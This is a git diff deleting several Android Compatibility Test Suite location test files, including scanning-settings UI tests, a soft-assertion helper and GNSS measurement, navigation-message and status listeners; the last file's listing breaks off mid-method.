@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.location.cts;
-
-/**
- * Exception that indicates an issue in the device that does not support Multi Constellation type.
- */
-public class MultiConstellationNotSupportedException extends Exception {
- public MultiConstellationNotSupportedException(String format, Object... params) {
- this(String.format(format, params));
- }
-
- public MultiConstellationNotSupportedException(String message) {
- super(message);
- }
-}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/ScanningSettingsTest.java b/tests/tests/location/src/android/location/cts/ScanningSettingsTest.java
deleted file mode 100644
index 5da1f97..0000000
--- a/tests/tests/location/src/android/location/cts/ScanningSettingsTest.java
+++ /dev/null
@@ -1,157 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.res.Resources;
-import android.database.ContentObserver;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.platform.test.annotations.AppModeFull;
-import android.provider.Settings;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.Until;
-import android.test.AndroidTestCase;
-
-import com.android.compatibility.common.util.CddTest;
-
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Tests if system settings app provides scanning settings.
- */
-@AppModeFull(reason = "Test cases don't apply for Instant apps")
-public class ScanningSettingsTest extends AndroidTestCase {
- private static final String TAG = "ScanningSettingsTest";
-
- private static final int TIMEOUT = 8_000; // 8 seconds
- private static final String SETTINGS_PACKAGE = "com.android.settings";
-
- private static final String WIFI_SCANNING_TITLE_RES =
- "location_scanning_wifi_always_scanning_title";
- private static final String BLUETOOTH_SCANNING_TITLE_RES =
- "location_scanning_bluetooth_always_scanning_title";
-
- private UiDevice mDevice;
- private Context mContext;
- private String mLauncherPackage;
- private PackageManager mPackageManager;
-
- @Override
- protected void setUp() {
- mContext = InstrumentationRegistry.getInstrumentation().getContext();
- mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-
- mPackageManager = mContext.getPackageManager();
- if (isTv()) {
- // TV does not support the setting options of WIFI scanning and Bluetooth scanning
- return;
- }
- final Intent launcherIntent = new Intent(Intent.ACTION_MAIN);
- launcherIntent.addCategory(Intent.CATEGORY_HOME);
- mLauncherPackage = mPackageManager.resolveActivity(launcherIntent,
- PackageManager.MATCH_DEFAULT_ONLY).activityInfo.packageName;
- }
-
- @CddTest(requirement = "7.4.2/C-2-1")
- public void testWifiScanningSettings() throws PackageManager.NameNotFoundException {
- if (isTv()) {
- return;
- }
- launchScanningSettings();
- toggleSettingAndVerify(WIFI_SCANNING_TITLE_RES, Settings.Global.WIFI_SCAN_ALWAYS_AVAILABLE);
- }
-
- @CddTest(requirement = "7.4.3/C-4-1")
- public void testBleScanningSettings() throws PackageManager.NameNotFoundException {
- if (isTv()) {
- return;
- }
- launchScanningSettings();
- toggleSettingAndVerify(BLUETOOTH_SCANNING_TITLE_RES,
- Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE);
- }
-
- private boolean isTv() {
- return mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
- && mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
- }
-
- private void launchScanningSettings() {
- // Start from the home screen
- mDevice.pressHome();
- mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
-
- final Intent intent = new Intent(Settings.ACTION_LOCATION_SCANNING_SETTINGS);
- // Clear out any previous instances
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
- mContext.startActivity(intent);
-
- // Wait for the app to appear
- mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
- }
-
- private void clickAndWaitForSettingChange(UiObject2 pref, ContentResolver resolver,
- String settingKey) {
- final CountDownLatch latch = new CountDownLatch(1);
- final HandlerThread handlerThread = new HandlerThread(TAG);
- handlerThread.start();
- final ContentObserver observer = new ContentObserver(
- new Handler(handlerThread.getLooper())) {
- @Override
- public void onChange(boolean selfChange) {
- super.onChange(selfChange);
- latch.countDown();
- }
- };
- resolver.registerContentObserver(Settings.Global.getUriFor(settingKey), false, observer);
- pref.click();
- try {
- latch.await(TIMEOUT, TimeUnit.MILLISECONDS);
- } catch (InterruptedException e) {
- e.printStackTrace();
- }
- handlerThread.quit();
- resolver.unregisterContentObserver(observer);
- assertEquals(0, latch.getCount());
- }
-
- private void toggleSettingAndVerify(String prefTitleRes, String settingKey)
- throws PackageManager.NameNotFoundException {
- final Resources res = mPackageManager.getResourcesForApplication(SETTINGS_PACKAGE);
- final int resId = res.getIdentifier(prefTitleRes, "string", SETTINGS_PACKAGE);
- final UiObject2 pref = mDevice.findObject(By.text(res.getString(resId)));
- final ContentResolver resolver = mContext.getContentResolver();
- final boolean checked = Settings.Global.getInt(resolver, settingKey, 0) == 1;
-
- // Click the preference to toggle the setting.
- clickAndWaitForSettingChange(pref, resolver, settingKey);
- assertEquals(!checked, Settings.Global.getInt(resolver, settingKey, 0) == 1);
-
- // Click the preference again to toggle the setting back.
- clickAndWaitForSettingChange(pref, resolver, settingKey);
- assertEquals(checked, Settings.Global.getInt(resolver, settingKey, 0) == 1);
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/SettingInjectorServiceTest.java b/tests/tests/location/src/android/location/cts/SettingInjectorServiceTest.java
deleted file mode 100644
index 75bc142..0000000
--- a/tests/tests/location/src/android/location/cts/SettingInjectorServiceTest.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.content.Context;
-import android.location.SettingInjectorService;
-import android.test.InstrumentationTestCase;
-
-/**
- * Test case for {@link SettingInjectorService}.
- */
-public class SettingInjectorServiceTest extends InstrumentationTestCase {
- private Context mContext;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mContext = getInstrumentation().getTargetContext();
- }
-
- public void testRefreshSettings() {
- // Simply calls the method to make sure it exists.
- SettingInjectorService.refreshSettings(mContext);
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/SoftAssert.java b/tests/tests/location/src/android/location/cts/SoftAssert.java
deleted file mode 100644
index d118021..0000000
--- a/tests/tests/location/src/android/location/cts/SoftAssert.java
+++ /dev/null
@@ -1,190 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import junit.framework.Assert;
-
-import android.util.Log;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Custom Assertion class. This is useful for doing multiple validations together
- * without failing the test. Tests don’t stop running even if an assertion condition fails,
- * but the test itself is marked as a failed test to indicate the right result
- * at the end of the test.
- */
-public class SoftAssert {
-
- List<String> mErrorList;
- private String mTag;
-
- SoftAssert(String source) {
- mErrorList = new ArrayList<>();
- mTag = source;
- }
-
- /**
- * Check if condition is true
- *
- * @param message test message
- * @param eventTimeInNs the time at which the condition occurred
- * @param expectedResult expected value
- * @param actualResult actual value
- * @param condition condition for test
- */
- public void assertTrue(String message, Long eventTimeInNs, String expectedResult,
- String actualResult, boolean condition) {
- if (condition) {
- Log.i(mTag, message + ", (Test: PASS, actual : " +
- actualResult + ", expected: " + expectedResult + ")");
- } else {
- String errorMessage = "";
- if (eventTimeInNs != null) {
- errorMessage = "At time = " + eventTimeInNs + " ns, ";
- }
- errorMessage += message +
- " (Test: FAIL, actual :" + actualResult + ", " +
- "expected: " + expectedResult + ")";
- Log.e(mTag, errorMessage);
- mErrorList.add(errorMessage);
- }
- }
-
- /**
- * assertTrue without eventTime
- *
- * @param message test message
- * @param expectedResult expected value
- * @param actualResult actual value
- * @param condition condition for test
- */
- public void assertTrue(String message, String expectedResult,
- String actualResult, boolean condition) {
- assertTrue(message, null, expectedResult, actualResult, condition);
- }
-
- /**
- * Check if a condition is true.
- * NOTE: A failure is downgraded to a warning.
- *
- * @param message the message associated with the condition
- * @param eventTimeInNs the time at which the condition occurred
- * @param expectedResult the expected result of the condition
- * @param actualResult the actual result of the condition
- * @param condition the condition status
- */
- public void assertTrueAsWarning(
- String message,
- long eventTimeInNs,
- String expectedResult,
- String actualResult,
- boolean condition) {
- if (condition) {
- String formattedMessage = String.format(
- "%s, (Test: PASS, actual : %s, expected : %s)",
- message,
- actualResult,
- expectedResult);
- Log.i(mTag, formattedMessage);
- } else {
- String formattedMessage = String.format(
- "At time = %d ns, %s (Test: WARNING, actual : %s, expected : %s).",
- eventTimeInNs,
- message,
- actualResult,
- expectedResult);
- failAsWarning(mTag, formattedMessage);
- }
- }
-
- /**
- * Check if condition is true
- *
- * @param message test message
- * @param condition condition for test
- */
- public void assertTrue(String message, boolean condition) {
- assertOrWarnTrue(true, message, condition);
- }
-
- /**
- * Check if condition is true
- *
- * @param strict if true, add this to the failure list, else, log a warning message
- * @param message message to describe the test - output on pass or fail
- * @param condition condition for test
- */
- public void assertOrWarnTrue(boolean strict, String message, boolean condition) {
- if (condition) {
- Log.i(mTag, "(Test: PASS) " + message);
- } else {
- String errorMessage = "(Test: FAIL) " + message;
- Log.i(mTag, errorMessage);
- if (strict) {
- mErrorList.add(errorMessage);
- } else {
- failAsWarning(mTag, errorMessage);
- }
- }
- }
-
- /**
- * Assert all conditions together. This method collates all the failures and decides
- * whether to fail the test or not at the end. This must be called at the end of the test.
- */
- public void assertAll() {
- if (mErrorList.isEmpty()) {
- Log.i(mTag, "All test pass.");
- // Test pass if there are no error message in errorMessageSet
- Assert.assertTrue(true);
- } else {
- StringBuilder message = new StringBuilder();
- for (String msg : mErrorList) {
- message.append(msg + "\n");
- }
- Log.e(mTag, "Failing tests are: \n" + message);
- Assert.fail("Failing tests are: \n" + message);
- }
- }
-
- /**
- * A hard or soft failure, depending on the setting.
- * TODO - make this cleaner - e.g. refactor this out completely: get rid of static methods,
- * and make a class (say TestVerification) the only entry point for verifications,
- * so strict vs not can be abstracted away test implementations.
- */
- public static void failOrWarning(boolean testIsStrict, String message, boolean condition) {
- if (testIsStrict) {
- Assert.assertTrue(message, condition);
- } else {
- if (!condition) {
- failAsWarning("", message);
- }
- }
- }
-
- /**
- * A soft failure. In the current state of the tests, it will only log a warning and let the
- * test be reported as 'pass'.
- */
- public static void failAsWarning(String tag, String message) {
- Log.w(tag, message + " [NOTE: in a future release this feature might become mandatory, and"
- + " this warning will fail the test].");
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/TestGnssMeasurementListener.java b/tests/tests/location/src/android/location/cts/TestGnssMeasurementListener.java
deleted file mode 100644
index 962ef8b..0000000
--- a/tests/tests/location/src/android/location/cts/TestGnssMeasurementListener.java
+++ /dev/null
@@ -1,187 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.location.cts;
-
-import android.location.GnssClock;
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-import android.util.Log;
-
-import junit.framework.Assert;
-
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-
-/**
- * Used for receiving GPS satellite measurements from the GPS engine.
- * Each measurement contains raw and computed data identifying a satellite.
- * Only counts measurement events with more than one actual Measurement in them (not just clock)
- */
-class TestGnssMeasurementListener extends GnssMeasurementsEvent.Callback {
- // When filterByEventSize flag is true, we only keep the GnssMeasurementsEvents that have at
- // least 4 decoded GnssMeasurement in same constellation.
- private boolean filterByEventSize = false;
- // Timeout in sec for count down latch wait
- private static final int STATUS_TIMEOUT_IN_SEC = 10;
- private static final int MEAS_TIMEOUT_IN_SEC = 75;
- private static final int C_TO_N0_THRESHOLD_DB_HZ = 18;
- private volatile int mStatus = -1;
-
- private final String mTag;
- private final List<GnssMeasurementsEvent> mMeasurementsEvents;
- private final CountDownLatch mCountDownLatch;
- private final CountDownLatch mCountDownLatchStatus;
-
- /**
- * Constructor for TestGnssMeasurementListener
- * @param tag for Logging.
- */
- TestGnssMeasurementListener(String tag) {
- this(tag, 0, false);
- }
-
- /**
- * Constructor for TestGnssMeasurementListener
- * @param tag for Logging.
- * @param eventsToCollect wait until the number of events collected.
- */
- TestGnssMeasurementListener(String tag, int eventsToCollect) {
- this(tag, eventsToCollect, false);
- }
-
- /**
- * Constructor for TestGnssMeasurementListener
- * @param tag for Logging.
- * @param eventsToCollect wait until the number of events collected.
- * @param filterByEventSize whether filter the GnssMeasurementsEvents when we collect them.
- */
- TestGnssMeasurementListener(String tag, int eventsToCollect, boolean filterByEventSize) {
- mTag = tag;
- mCountDownLatch = new CountDownLatch(eventsToCollect);
- mCountDownLatchStatus = new CountDownLatch(1);
- mMeasurementsEvents = new ArrayList<>(eventsToCollect);
- this.filterByEventSize = filterByEventSize;
- }
-
- @Override
- public void onGnssMeasurementsReceived(GnssMeasurementsEvent event) {
- // Only count measurement events with more than 4 actual Measurements in same constellation
- // with Cn0DbHz value greater than 18
- if (event.getMeasurements().size() > 0) {
- Log.i(mTag, "GnssMeasurementsEvent size:" + event.getMeasurements().size());
- if (filterByEventSize) {
- HashMap<Integer, Integer> constellationEventCount = new HashMap<>();
- GnssClock gnssClock = event.getClock();
- if (!gnssClock.hasFullBiasNanos()) {
- // If devices does not have FullBiasNanos yet, it will be difficult to check
- // the quality, so await this flag as well.
- return;
- }
- for (GnssMeasurement gnssMeasurement : event.getMeasurements()){
- int constellationType = gnssMeasurement.getConstellationType();
- // if the measurement's signal level is too small ignore
- if (gnssMeasurement.getCn0DbHz() < C_TO_N0_THRESHOLD_DB_HZ ||
- (gnssMeasurement.getState() & GnssMeasurement.STATE_TOW_DECODED) == 0) {
- continue;
- }
- if (constellationEventCount.containsKey(constellationType)) {
- constellationEventCount.put(constellationType,
- constellationEventCount.get(constellationType) + 1);
- }
- else {
- constellationEventCount.put(constellationType, 1);
- }
- if (constellationEventCount.get(constellationType) >= 4) {
- synchronized(mMeasurementsEvents) {
- mMeasurementsEvents.add(event);
- }
- mCountDownLatch.countDown();
- return;
- }
- }
- }
- else {
- synchronized(mMeasurementsEvents) {
- mMeasurementsEvents.add(event);
- }
- mCountDownLatch.countDown();
- }
- }
- }
-
- @Override
- public void onStatusChanged(int status) {
- mStatus = status;
- mCountDownLatchStatus.countDown();
- }
-
- public boolean awaitStatus() throws InterruptedException {
- return TestUtils.waitFor(mCountDownLatchStatus, STATUS_TIMEOUT_IN_SEC);
- }
-
- public boolean await() throws InterruptedException {
- return TestUtils.waitFor(mCountDownLatch, MEAS_TIMEOUT_IN_SEC);
- }
-
-
- /**
- * @return {@code true} if the state of the test ensures that data is expected to be collected,
- * {@code false} otherwise.
- */
- public boolean verifyStatus() {
- switch (getStatus()) {
- case GnssMeasurementsEvent.Callback.STATUS_NOT_SUPPORTED:
- String message = "GnssMeasurements is not supported in the device:"
- + " verifications performed by this test may be skipped on older devices.";
- Assert.fail(message);
- return false;
- case GnssMeasurementsEvent.Callback.STATUS_READY:
- return true;
- case GnssMeasurementsEvent.Callback.STATUS_LOCATION_DISABLED:
- message = "Location or GPS is disabled on the device:"
- + " enable location to continue the test";
- Assert.fail(message);
- return false;
- default:
- Assert.fail("GnssMeasurementsEvent status callback was not received.");
- }
- return false;
- }
-
- /**
- * Get GPS Measurements Status.
- *
- * @return mStatus Gps Measurements Status
- */
- public int getStatus() {
- return mStatus;
- }
-
- /**
- * Get the current list of GPS Measurements Events.
- *
- * @return the current list of GPS Measurements Events
- */
- public List<GnssMeasurementsEvent> getEvents() {
- synchronized(mMeasurementsEvents) {
- List<GnssMeasurementsEvent> clone = new ArrayList<>();
- clone.addAll(mMeasurementsEvents);
- return clone;
- }
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/TestGnssNavigationMessageListener.java b/tests/tests/location/src/android/location/cts/TestGnssNavigationMessageListener.java
deleted file mode 100644
index a2f12de..0000000
--- a/tests/tests/location/src/android/location/cts/TestGnssNavigationMessageListener.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import junit.framework.Assert;
-
-import android.location.GnssNavigationMessage;
-import android.util.Log;
-
-import java.util.List;
-import java.util.concurrent.CopyOnWriteArrayList;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Used for receiving GPS satellite Navigation Messages from the GPS engine.
- */
-class TestGnssNavigationMessageListener extends GnssNavigationMessage.Callback {
-
- // Timeout in sec for count down latch wait
- private static final int TIMEOUT_IN_SEC = 90;
-
- private volatile int mStatus = -1;
-
- private final String mTag;
- private final int mEventsToCollect;
- private final List<GnssNavigationMessage> mEvents;
- private final CountDownLatch mCountDownLatch;
-
- TestGnssNavigationMessageListener(String tag, int eventsToCollect) {
- mTag = tag;
- mCountDownLatch = new CountDownLatch(1);
- mEventsToCollect = eventsToCollect;
- mEvents = new CopyOnWriteArrayList<GnssNavigationMessage>();
- }
-
- @Override
- public void onGnssNavigationMessageReceived(GnssNavigationMessage event) {
- mEvents.add(event);
- if (mEvents.size() > mEventsToCollect) {
- mCountDownLatch.countDown();
- }
- }
-
- @Override
- public void onStatusChanged(int status) {
- mStatus = status;
- if (mStatus != GnssNavigationMessage.Callback.STATUS_READY) {
- mCountDownLatch.countDown();
- }
- }
-
- public boolean await() throws InterruptedException {
- Log.i(mTag, "Number of GPS Navigation Message received = " + getEvents().size());
- return TestUtils.waitFor(mCountDownLatch, TIMEOUT_IN_SEC);
- }
-
- /**
- * Get GPS Navigation Message Status.
- *
- * @return mStatus Gps Navigation Message Status
- */
- public int getStatus() {
- return mStatus;
- }
-
- /**
- * @return {@code true} if the state of the test ensures that data is expected to be collected,
- * {@code false} otherwise.
- */
- public boolean verifyState() {
- switch (getStatus()) {
- case GnssNavigationMessage.Callback.STATUS_NOT_SUPPORTED:
- SoftAssert.failAsWarning(mTag, "GnssNavigationMessage is not supported in the"
- + " device: verifications performed by this test will be skipped.");
- return false;
- case GnssNavigationMessage.Callback.STATUS_READY:
- return true;
- case GnssNavigationMessage.Callback.STATUS_LOCATION_DISABLED:
- Log.i(mTag, "Location or GPS is disabled on the device: skipping the test.");
- return false;
- default:
- Assert.fail("GnssNavigationMessage status callback was not received.");
- }
- return false;
- }
-
- /**
- * Get list of GPS Navigation Message Events.
- *
- * @return mEvents list of GPS Navigation Message Events
- */
- public List<GnssNavigationMessage> getEvents() {
- return mEvents;
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/TestGnssStatusCallback.java b/tests/tests/location/src/android/location/cts/TestGnssStatusCallback.java
deleted file mode 100644
index 76c94da..0000000
--- a/tests/tests/location/src/android/location/cts/TestGnssStatusCallback.java
+++ /dev/null
@@ -1,124 +0,0 @@
-/*
- * Copyright (C) 2016 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssStatus;
-
-import android.util.Log;
-import java.util.HashSet;
-import java.util.Set;
-import java.util.concurrent.CountDownLatch;
-
-/**
- * Used for receiving notifications when GNSS status has changed.
- */
-class TestGnssStatusCallback extends GnssStatus.Callback {
-
- private final String mTag;
- private GnssStatus mGnssStatus = null;
- // Timeout in sec for count down latch wait
- private static final int TIMEOUT_IN_SEC = 90;
- private final CountDownLatch mLatchStart;
- private final CountDownLatch mLatchStatus;
- private final CountDownLatch mLatchTtff;
- private final CountDownLatch mLatchStop;
-
- // Store list of Satellites including Gnss Band, constellation & SvId
- private Set<String> mGnssUsedSvStringIds;
-
- TestGnssStatusCallback(String tag, int gpsStatusCountToCollect) {
- this.mTag = tag;
- mLatchStart = new CountDownLatch(1);
- mLatchStatus = new CountDownLatch(gpsStatusCountToCollect);
- mLatchTtff = new CountDownLatch(1);
- mLatchStop = new CountDownLatch(1);
- mGnssUsedSvStringIds = new HashSet<>();
- }
-
- @Override
- public void onStarted() {
- Log.i(mTag, "Gnss Status Listener Started");
- mLatchStart.countDown();
- }
-
- @Override
- public void onStopped() {
- Log.i(mTag, "Gnss Status Listener Stopped");
- mLatchStop.countDown();
- }
-
- @Override
- public void onFirstFix(int ttffMillis) {
- Log.i(mTag, "Gnss Status Listener Received TTFF");
- mLatchTtff.countDown();
- }
-
- @Override
- public void onSatelliteStatusChanged(GnssStatus status) {
- Log.i(mTag, "Gnss Status Listener Received Status Update");
- mGnssStatus = status;
- for (int i = 0; i < status.getSatelliteCount(); i++) {
- if (!status.usedInFix(i)) {
- continue;
- }
- if (status.hasCarrierFrequencyHz(i)) {
- mGnssUsedSvStringIds.add(
- TestMeasurementUtil.getUniqueSvStringId(status.getConstellationType(i),
- status.getSvid(i), status.getCarrierFrequencyHz(i)));
- } else {
- mGnssUsedSvStringIds.add(
- TestMeasurementUtil.getUniqueSvStringId(status.getConstellationType(i),
- status.getSvid(i)));
- }
- }
- mLatchStatus.countDown();
- }
-
- /**
- * Returns the list of SV String Ids which were used in fix during the collect
- *
- * @return mGnssUsedSvStringIds - Set of SV string Ids
- */
- public Set<String> getGnssUsedSvStringIds() {
- return mGnssUsedSvStringIds;
- }
-
- /**
- * Get GNSS Status.
- *
- * @return mGnssStatus GNSS Status
- */
- public GnssStatus getGnssStatus() {
- return mGnssStatus;
- }
-
- public boolean awaitStart() throws InterruptedException {
- return TestUtils.waitFor(mLatchStart, TIMEOUT_IN_SEC);
- }
-
- public boolean awaitStatus() throws InterruptedException {
- return TestUtils.waitFor(mLatchStatus, TIMEOUT_IN_SEC);
- }
-
- public boolean awaitTtff() throws InterruptedException {
- return TestUtils.waitFor(mLatchTtff, TIMEOUT_IN_SEC);
- }
-
- public boolean awaitStop() throws InterruptedException {
- return TestUtils.waitFor(mLatchStop, TIMEOUT_IN_SEC);
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/TestLocationListener.java b/tests/tests/location/src/android/location/cts/TestLocationListener.java
deleted file mode 100644
index ea8db06..0000000
--- a/tests/tests/location/src/android/location/cts/TestLocationListener.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.location.cts;
-
-import android.location.Location;
-import android.location.LocationListener;
-import android.location.LocationManager;
-import android.os.Bundle;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.ConcurrentLinkedQueue;
-import java.util.concurrent.CountDownLatch;
-
-/**
- * Used for receiving notifications from the LocationManager when the location has changed.
- */
-class TestLocationListener implements LocationListener {
- private volatile boolean mProviderEnabled;
- private volatile boolean mLocationReceived;
-
- // Timeout in sec for count down latch wait
- private static final int TIMEOUT_IN_SEC = 120;
- private final CountDownLatch mCountDownLatch;
- private ConcurrentLinkedQueue<Location> mLocationList = null;
-
- TestLocationListener(int locationToCollect) {
- mCountDownLatch = new CountDownLatch(locationToCollect);
- mLocationList = new ConcurrentLinkedQueue<>();
- }
-
- @Override
- public void onLocationChanged(Location location) {
- mLocationReceived = true;
- mLocationList.add(location);
- mCountDownLatch.countDown();
- }
-
- @Override
- public void onStatusChanged(String s, int i, Bundle bundle) {
- }
-
- @Override
- public void onProviderEnabled(String s) {
- if (LocationManager.GPS_PROVIDER.equals(s)) {
- mProviderEnabled = true;
- }
- }
-
- @Override
- public void onProviderDisabled(String s) {
- if (LocationManager.GPS_PROVIDER.equals(s)) {
- mProviderEnabled = false;
- }
- }
-
- public boolean await() throws InterruptedException {
- return TestUtils.waitFor(mCountDownLatch, TIMEOUT_IN_SEC);
- }
-
- public boolean await(int timeInSec) throws InterruptedException {
- return TestUtils.waitFor(mCountDownLatch, timeInSec);
- }
-
- /**
- * Get the list of locations received.
- *
- * Makes a copy of {@code mLocationList}. New locations received after this call is
- * made are not reflected in the returned list so that the returned list can be safely
- * iterated without getting a ConcurrentModificationException. Occasionally,
- * even after calling TestLocationManager.removeLocationUpdates(), the location listener
- * can receive one or two location updates.
- */
- public List<Location> getReceivedLocationList(){
- return new ArrayList(mLocationList);
- }
-
- /**
- * Check if location provider is enabled.
- *
- * @return {@code true} if the location provider is enabled and {@code false}
- * if location provider is disabled.
- */
- public boolean isProviderEnabled() {
- return mProviderEnabled;
- }
-
- /**
- * Check if the location is received.
- *
- * @return {@code true} if the location is received and {@code false}
- * if location is not received.
- */
- public boolean isLocationReceived() {
- return mLocationReceived;
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/TestLocationManager.java b/tests/tests/location/src/android/location/cts/TestLocationManager.java
deleted file mode 100644
index 0447109..0000000
--- a/tests/tests/location/src/android/location/cts/TestLocationManager.java
+++ /dev/null
@@ -1,247 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.content.Context;
-import android.location.GnssMeasurementsEvent;
-import android.location.GnssNavigationMessage;
-import android.location.GnssStatus;
-import android.location.LocationListener;
-import android.location.LocationManager;
-import android.os.Handler;
-import android.os.Looper;
-import android.util.Log;
-
-import junit.framework.Assert;
-
-/**
- * A {@code LocationManager} wrapper that logs GNSS turn-on and turn-off.
- */
-public class TestLocationManager {
-
- private static final String TAG = "TestLocationManager";
- private LocationManager mLocationManager;
- private Context mContext;
-
- public TestLocationManager(Context context) {
- mContext = context;
- mLocationManager =
- (LocationManager) mContext.getSystemService(Context.LOCATION_SERVICE);
- }
-
- /**
- * See {@code LocationManager#removeUpdates(LocationListener)}.
- *
- * @param listener the listener to remove
- */
- public void removeLocationUpdates(LocationListener listener) {
- Log.i(TAG, "Remove Location updates.");
- mLocationManager.removeUpdates(listener);
- }
-
- /**
- * See {@link android.location.LocationManager#registerGnssMeasurementsCallback
- * (GnssMeasurementsEvent.Callback callback)}
- *
- * @param callback the listener to add
- */
- public void registerGnssMeasurementCallback(GnssMeasurementsEvent.Callback callback) {
- Log.i(TAG, "Add Gnss Measurement Callback.");
- boolean measurementListenerAdded =
- mLocationManager.registerGnssMeasurementsCallback(callback);
- if (!measurementListenerAdded) {
- // Registration of GnssMeasurements listener has failed, this indicates a platform bug.
